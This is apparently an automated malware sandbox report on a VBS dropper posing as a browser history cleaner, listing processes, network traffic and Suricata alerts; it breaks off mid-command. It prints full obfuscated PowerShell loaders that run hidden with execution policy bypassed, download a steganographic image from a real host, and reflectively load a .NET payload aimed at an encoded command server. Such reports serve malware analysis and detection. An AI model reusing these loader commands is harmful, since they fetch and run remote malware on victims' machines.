Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6401 | Nov. 13, 2023, 10:55 a.m. | Nov. 13, 2023, 10:57 a.m. |
-
wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\HTMLBrowserIEhistorycleaner.vbs
2556-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('UyQMlvG','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2708-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STRINg]$verboSePrefeRenCe)[1,3]+'x'-join'')( ('N6zimageUrl = 9mBhttps://uploa'+'ddeimagen'+'s.com.br/images/004/654/536/original/new_image.'+'jpg?16989577509mB;N6zwebClient'+' = New-Object System.Net.WebClient;N6zimageBytes = N6zwebClient.DownloadData(N6zi'+'mageUrl);N6zimageText = [System.Text.Encoding]::UTF8.GetString(N6zimageBytes);N6zstartFlag = 9mB<<BASE64_START>>9mB;N6zendFlag = 9mB<<BASE64_END>>9mB;N6zstartInd'+'ex = N6zim'+'ageText.IndexOf(N6z'+'st'+'artFlag);N6zendIndex = N6zimageText.IndexOf(N6zendFlag);N6zstartIndex -ge 0 -and N6zendIndex -gt N6zstartIndex;N6zstartIndex'+' += N6z'+'startFlag.Le'+'ngth;N6zbase64Length = N6zendIndex - N6zstartIndex;N6zbase64Command = N6zimageText.Substring(N6zstartIndex, N6zbase'+'64Length);N6zcommandBytes = [System.Co'+'nvert]::Fr'+'omBase64String(N6zbase64Command'+');N6zloadedAssembly = [System.Reflection.Assembly]::Load(N6zcommandBytes);N6'+'ztype = N6zloade'+'dAssembly.GetT'+'ype(9mBFiber.Home9mB);N6zmethod = N6ztype.GetMethod(9mBVAI9mB).Inv'+'oke(N6znull, [object[]] (9mBdHh0LkNCTi8wNTIvMjMuOTQyLj'+'cyMS44ODEvLzpwdHRo9mB , 9mB9mB , 9mB29mB , 9mBregasm9mB , 9mB69mB , 9mBC:THfWindowsTHfTempTHf9mB, 9mBhtmlcvg9mB))').rePlACE('THf',[striNg][CHaR]92).rePlACE('N6z',[striNg][CHaR]36).rePlACE('9mB',[striNg][CHaR]39) )"
2812
-
-
Name | Response | Post-Analysis Lookup |
---|---|---|
apps.identrust.com |
CNAME
a1952.dscq.akamai.net
CNAME
identrust.edgesuite.net
|
23.67.53.27 |
paste.ee | 104.21.84.67 | |
uploaddeimagens.com.br | 104.21.45.138 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.101:49161 -> 172.67.187.200:443 | 2034978 | ET POLICY Pastebin-style Service (paste .ee) in TLS SNI | Potential Corporate Privacy Violation |
TCP 192.168.56.101:49161 -> 172.67.187.200:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49166 -> 104.21.45.138:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.101:49161 172.67.187.200:443 |
C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 | CN=paste.ee | 75:09:97:90:38:ad:dd:cc:0d:1b:d8:8b:02:ab:5d:a9:3b:7a:1f:1d |
TLSv1 192.168.56.101:49166 104.21.45.138:443 |
C=US, O=Let's Encrypt, CN=E1 | CN=uploaddeimagens.com.br | d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71 |
request | GET http://apps.identrust.com/roots/dstrootcax3.p7c |
request | GET https://paste.ee/d/kWG9y |
file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'LgUyQMlvGgUyQMlvGCgUyQMlvGIUyQMlvGUyQMlvGoUyQMlvGFsUyQMlvGUwBUUyQMlvGFIUyQMlvGSQBOUyQMlvGGcUyQMlvGXQUyQMlvGkUyQMlvGHYUyQMlvGZQByUyQMlvGGIUyQMlvGbwBTUyQMlvGGUUyQMlvGUUyQMlvGByUyQMlvGGUUyQMlvGZgBlUyQMlvGFIUyQMlvGZQBuUyQMlvGEMUyQMlvGZQUyQMlvGpUyQMlvGFsUyQMlvGMQUyQMlvGsUyQMlvGDMUyQMlvGXQUyQMlvGrUyQMlvGCcUyQMlvGeUyQMlvGUyQMlvGnUyQMlvGC0UyQMlvGagBvUyQMlvGGkUyQMlvGbgUyQMlvGnUyQMlvGCcUyQMlvGKQUyQMlvGoUyQMlvGCUyQMlvGUyQMlvGKUyQMlvGUyQMlvGnUyQMlvGE4UyQMlvGNgB6UyQMlvGGkUyQMlvGbQBhUyQMlvGGcUyQMlvGZQBVUyQMlvGHIUyQMlvGbUyQMlvGUyQMlvGgUyQMlvGD0UyQMlvGIUyQMlvGUyQMlvG5UyQMlvGG0UyQMlvGQgBoUyQMlvGHQUyQMlvGdUyQMlvGBwUyQMlvGHMUyQMlvGOgUyQMlvGvUyQMlvGC8UyQMlvGdQBwUyQMlvGGwUyQMlvGbwBhUyQMlvGCcUyQMlvGKwUyQMlvGnUyQMlvGGQUyQMlvGZUyQMlvGBlUyQMlvGGkUyQMlvGbQBhUyQMlvGGcUyQMlvGZQBuUyQMlvGCcUyQMlvGKwUyQMlvGnUyQMlvGHMUyQMlvGLgBjUyQMlvGG8UyQMlvGbQUyQMlvGuUyQMlvGGIUyQMlvGcgUyQMlvGvUyQMlvGGkUyQMlvGbQBhUyQMlvGGcUyQMlvGZQBzUyQMlvGC8UyQMlvGMUyQMlvGUyQMlvGwUyQMlvGDQUyQMlvGLwUyQMlvG2UyQMlvGDUUyQMlvGNUyQMlvGUyQMlvGvUyQMlvGDUUyQMlvGMwUyQMlvG2UyQMlvGC8UyQMlvGbwByUyQMlvGGkUyQMlvGZwBpUyQMlvGG4UyQMlvGYQBsUyQMlvGC8UyQMlvGbgBlUyQMlvGHcUyQMlvGXwBpUyQMlvGG0UyQMlvGYQBnUyQMlvGGUUyQMlvGLgUyQMlvGnUyQMlvGCsUyQMlvGJwBqUyQMlvGHUyQMlvGUyQMlvGZwUyQMlvG/UyQMlvGDEUyQMlvGNgUyQMlvG5UyQMlvGDgUyQMlvGOQUyQMlvG1UyQMlvGDcUyQMlvGNwUyQMlvG1UyQMlvGDUyQMlvGUyQMlvGOQBtUyQMlvGEIUyQMlvGOwBOUyQMlvGDYUyQMlvGegB3UyQMlvGGUUyQMlvGYgBDUyQMlvGGwUyQMlvGaQBlUyQMlvGG4UyQMlvGdUyQMlvGUyQMlvGnUyQMlvGCsUyQMlvGJwUyQMlvGgUyQMlvGD0UyQMlvGIUyQMlvGBOUyQMlvGGUUyQMlvGdwUyQMlvGtUyQMlvGE8UyQMlvGYgBqUyQMlvGGUUyQMlvGYwB0UyQMlvGCUyQMlvGUyQMlvGUwB5UyQMlvGHMUyQMlvGdUyQMlvGBlUyQMlvGG0UyQMlvGLgBOUyQMlvGGUUyQMlvGdUyQMlvGUyQMlvGuUyQMlvGFcUyQMlvGZQBiUyQMlvGEMUyQMlvGbUyQMlvGBpUyQMlvGGUUyQMlvGbgB0UyQMlvGDsUyQMlvGTgUyQMlvG2UyQMlvGHoUyQMlvGaQBtUyQMlvGGEUyQMlvGZwBlUyQMlvGEIUyQMlvGeQB0UyQMlvGGUUyQMlvGcwUyQMlvGgUyQMlvGD0UyQMlvGIUyQMlvGBOUyQMlvGDYUyQMlvGegB3UyQMlvGGUUyQMlvGYgBDUyQMlvGGwUyQMlvGaQBlUyQMlvGG4UyQMlvGdUyQMlvGUyQMlvGuUyQMlvGEQUyQMlvGbwB3UyQMlvGG4UyQMlvGbUyQMlvGBvUyQMlvGGEUyQMlvGZUyQMlvGBEUyQMlvGGEUyQMlvGdUyQMlvGBhUyQMlvGCgUyQMlvGTgUyQMlvG2UyQMlvGHoUyQMlvGaQUyQMlvGnUyQMlvGCsUyQMlvGJwBtUyQMlvGGEUyQMlvGZwBlUyQMlvGFUUyQMlvGcgBsUyQMlvGCkUyQMlvGOwBOUyQMlvGDYUyQMlvGegBpUyQMlvGG0UyQMlvGYQBnUyQMlvGGUUyQMlvGVUyQMlvGBlUyQMlvGHgUyQMlvGdUyQMlvGUyQMlvGgUyQMlvGD0UyQMlvGIUyQMlvGBbUyQMlvGFMUyQMlvGeQBzUyQMlvGHQUyQMlvGZQBtUyQMlvGC4UyQMlvGVUyQMlvGBlUyQMlvGHgUyQMlvGdUyQMlvGUyQMlvGuUyQMlvGEUUyQMlvGbgBjUyQMlvGG8UyQMlvGZUyQMlvGBpUyQMlvGG4UyQMlvGZwBdUyQMlvGDoUyQMlvGOgBVUyQMlvGFQUyQMlvGRgUyQMlvG4UyQMlvGC4UyQMlvGRwBlUyQMlvGHQUyQMlvGUwB0UyQMlvGHIUyQMlvGaQBuUyQMlvGGcUyQMlvGKUyQMlvGBOUyQMlvGDYUyQMlvGegBpUyQMlvGG0UyQMlvGYQBnUyQMlvGGUUyQMlvGQgB5UyQMlvGHQUyQMlvGZQBzUyQMlvGCkUyQMlvGOwBOUyQMlvGDYUyQMlvGegBzUyQMlvGHQUyQMlvGYQByUyQMlvGHQUyQMlvGRgBsUyQMlvGGEUyQMlvGZwUyQMlvGgUyQMlvGD0UyQMlvGIUyQMlvGUyQMlvG5UyQMlvGG0UyQMlvGQgUyQMlvG8UyQMlvGDwUyQMlvGQgBBUyQMlvGFMUyQMlvGRQUyQMlvG2UyQMlvGDQUyQMlvGXwBTUyQMlvGFQUyQMlvGQQBSUyQMlvGFQUyQ